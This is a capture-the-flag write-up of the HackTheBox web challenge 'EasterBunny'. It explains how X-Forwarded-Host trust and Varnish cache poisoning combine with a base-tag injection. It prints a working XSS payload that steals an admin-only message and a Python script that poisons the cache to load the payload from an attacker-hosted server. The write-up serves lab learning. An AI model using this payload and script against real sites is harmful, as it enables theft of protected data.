# *SOME WEB THINGs THAT I LEARNED (part 4)* #### Recently i got some new things that i learned from some challs that i want to share. ###### This is from HackTheBox. Let's go from easy and make our way up. ## 1. EasterBunny - The challenge is a web application that let us send letters to the Easter Bunny. In the backend, there will be a bot that will view out letter once we submit it. Sounds like ```XSS``` to me. - The flag is located at ```message/3```, but is check using ```isAdmin``` function. If verified, you can view it, else no flag for you. - The challenge also use Varnish cache. Let's begin the challenge. ### a) Soure code: - There's a lot of code, but i'll go through the important ones, and try to explain. #### routes/routes.js: - Code responsible for the routes. - The ```/``` and ```/letters``` responsible for rendering the html file, which uses ```cdn``` for a predefined path. Just keep in mind this variable. ![image](https://hackmd.io/_uploads/ry5dCcsVT.png) - The ```/submit``` route let us submit a message, which is then added to the database, and sign to the latest ID. Then the bot will visit that message with that ID. The bot is a headless bot, using the ```puppeteer``` library. ![image](https://hackmd.io/_uploads/HydcRqo4T.png) - The ```message/:id``` returns a json response of the message(if the ID existed). It also checks the message.hidden(which is set in database.js), if its hidden then it will return 401. It also set no-cache for that ID. ![image](https://hackmd.io/_uploads/HkLo0csEp.png) #### utils/bot.js - It's using ```puppeteer``` library for a headless bot, which visits every site we submit. - It also set the auth cookie as a secret value. ![image](https://hackmd.io/_uploads/ryQaCcs4p.png) #### utils/authorisations.js - It sets the ```authSecret``` to a random value using the crypto lib. - It defines a function ```isAdmin```, which checks for our ip and cookie. ![image](https://hackmd.io/_uploads/HkJR0qs46.png) #### /index.js - It just handles all the routes, but the one thing that is important, is that it is setting ```trust proxy``` to True(not equal to False). Search with google, you can see that if it's not being set to False, the ```req.hostname``` can be obtain through ```X-Forwarded-Host```, you can read about it here: https://expressjs.com/en/guide/behind-proxies.html. ![image](https://hackmd.io/_uploads/S1L1JsoVT.png) #### config/cache - It's using Varnish caching. So it could be a cache poisoning challenge.(First time for me). - It caches base on the request URL and Host name => Access a URL from the same Host will result in a cache, that's how caches works(i guess). ![image](https://hackmd.io/_uploads/ryYbkjjVa.png) ### 2. Planing: - That's pretty much it xD. We can figure out the attack flow from here. If you test for XSS in the submit function, you can see that ```" and < > is being filtered out```, which won't be possible for XSS. - Remember the ```cdn``` variable that i tells you? Here comes the fun part. You can find it being used in ```base.html```. Lies inside a base tag, with being set in href, should means that the server will follow the URL for execution and render. ![image](https://hackmd.io/_uploads/Sk7DJijEp.png) - Now, the hostname can be taken from ```X-Forwarded-Host```. Any ideas? - We can abuse the ```X-Forwarded-Host```, host a sever with our XSS payload, then send it to the server through the header. The URL should be set to our host, which should execute and XSS-ed. - But, ```message/3``` can only be access if the ip is ```127.0.0.1``` and the ```auth``` cookie is set. This is where caching comes in. You can read about caching on google LOL. - If the ip 127.0.0.1 is visit twice, it will cache, which results in the auth cookie being created. So, by setting the ```Host``` header to 127.0.0.1, it will be visit twice, from the XSS and the host. ### 3. Attack - Host a server, this is what makes me waste 5 days LOL. The ngrok has a warning-like page => The bot can't visit so can't be XSS. So an alternative way is use: https://localhost.run/(F ngrok xD). - Host with ```python3 -m http.server 80```, then use localhost.run to public it.![image](https://hackmd.io/_uploads/HkPDWjiN6.png) - Now, we need to cache poison the latest ID, in which that is the ID that we are submiting to(if the latest is 8, then we need to cache poison 9, which when we submit, would turn into the latest one). Then when we submit, the bot will get XSS and cache poison also happen. XSS payload: ```javascript! fetch("http://127.0.0.1:80/message/3").then((r) => { return r.text(); }).then((x) => { fetch("http://127.0.0.1:80/submit", { "headers": { "content-type": "application/json" }, "body": x, "method": "POST", "mode": "cors", }); }); ``` - We need to host this as ```viewletter.js``` inside a folder called ```static```. - Right now, when writing this, im too lazy to open BurpSuite so i wrote a script. Here's the script: ```python! import requests web = '{HTB-URL}' ngrok = '{our-public-url}' def get_id(): # If ID goes over, it should end at the last ID # Take the count variable for ID url = f'{web}/message/100' response = requests.get(url) return response.json().get('count') def cache_poison(): current_id = get_id() next_id = current_id + 1 url_cache = f'{web}/letters?id={next_id}' headers = { "Host": "127.0.0.1", "X-Forwarded-Host": ngrok, } print(headers) response = requests.get(url=url_cache, headers=headers) if headers['X-Forwarded-Host'] in response.text: print(f'Cached at {next_id}') def submit(): url_last = f'{web}/submit' data = { "message": "lmao" } response = requests.post(url_last, json=data) return response cache_poison() submit() ``` - Running it should returns the cache ID, we just need to visit the next ID (if cached ID is 9, visit 10 to grab the flag). ![image](https://hackmd.io/_uploads/Hybt4jo4p.png) ### What i learned - Learned about basic cache poisoning (i guess, i think there's more challeging cache poison challenge, but it's my first cache poison chall xD) #### More challenges to come xD ## Thank you for reading >.< Gud bye ![](https://hackmd.io/_uploads/BygPJfQlT.jpg)